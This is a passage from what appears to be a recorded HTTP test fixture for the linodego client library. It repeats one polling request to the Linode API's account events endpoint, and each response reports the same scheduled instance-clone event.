49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 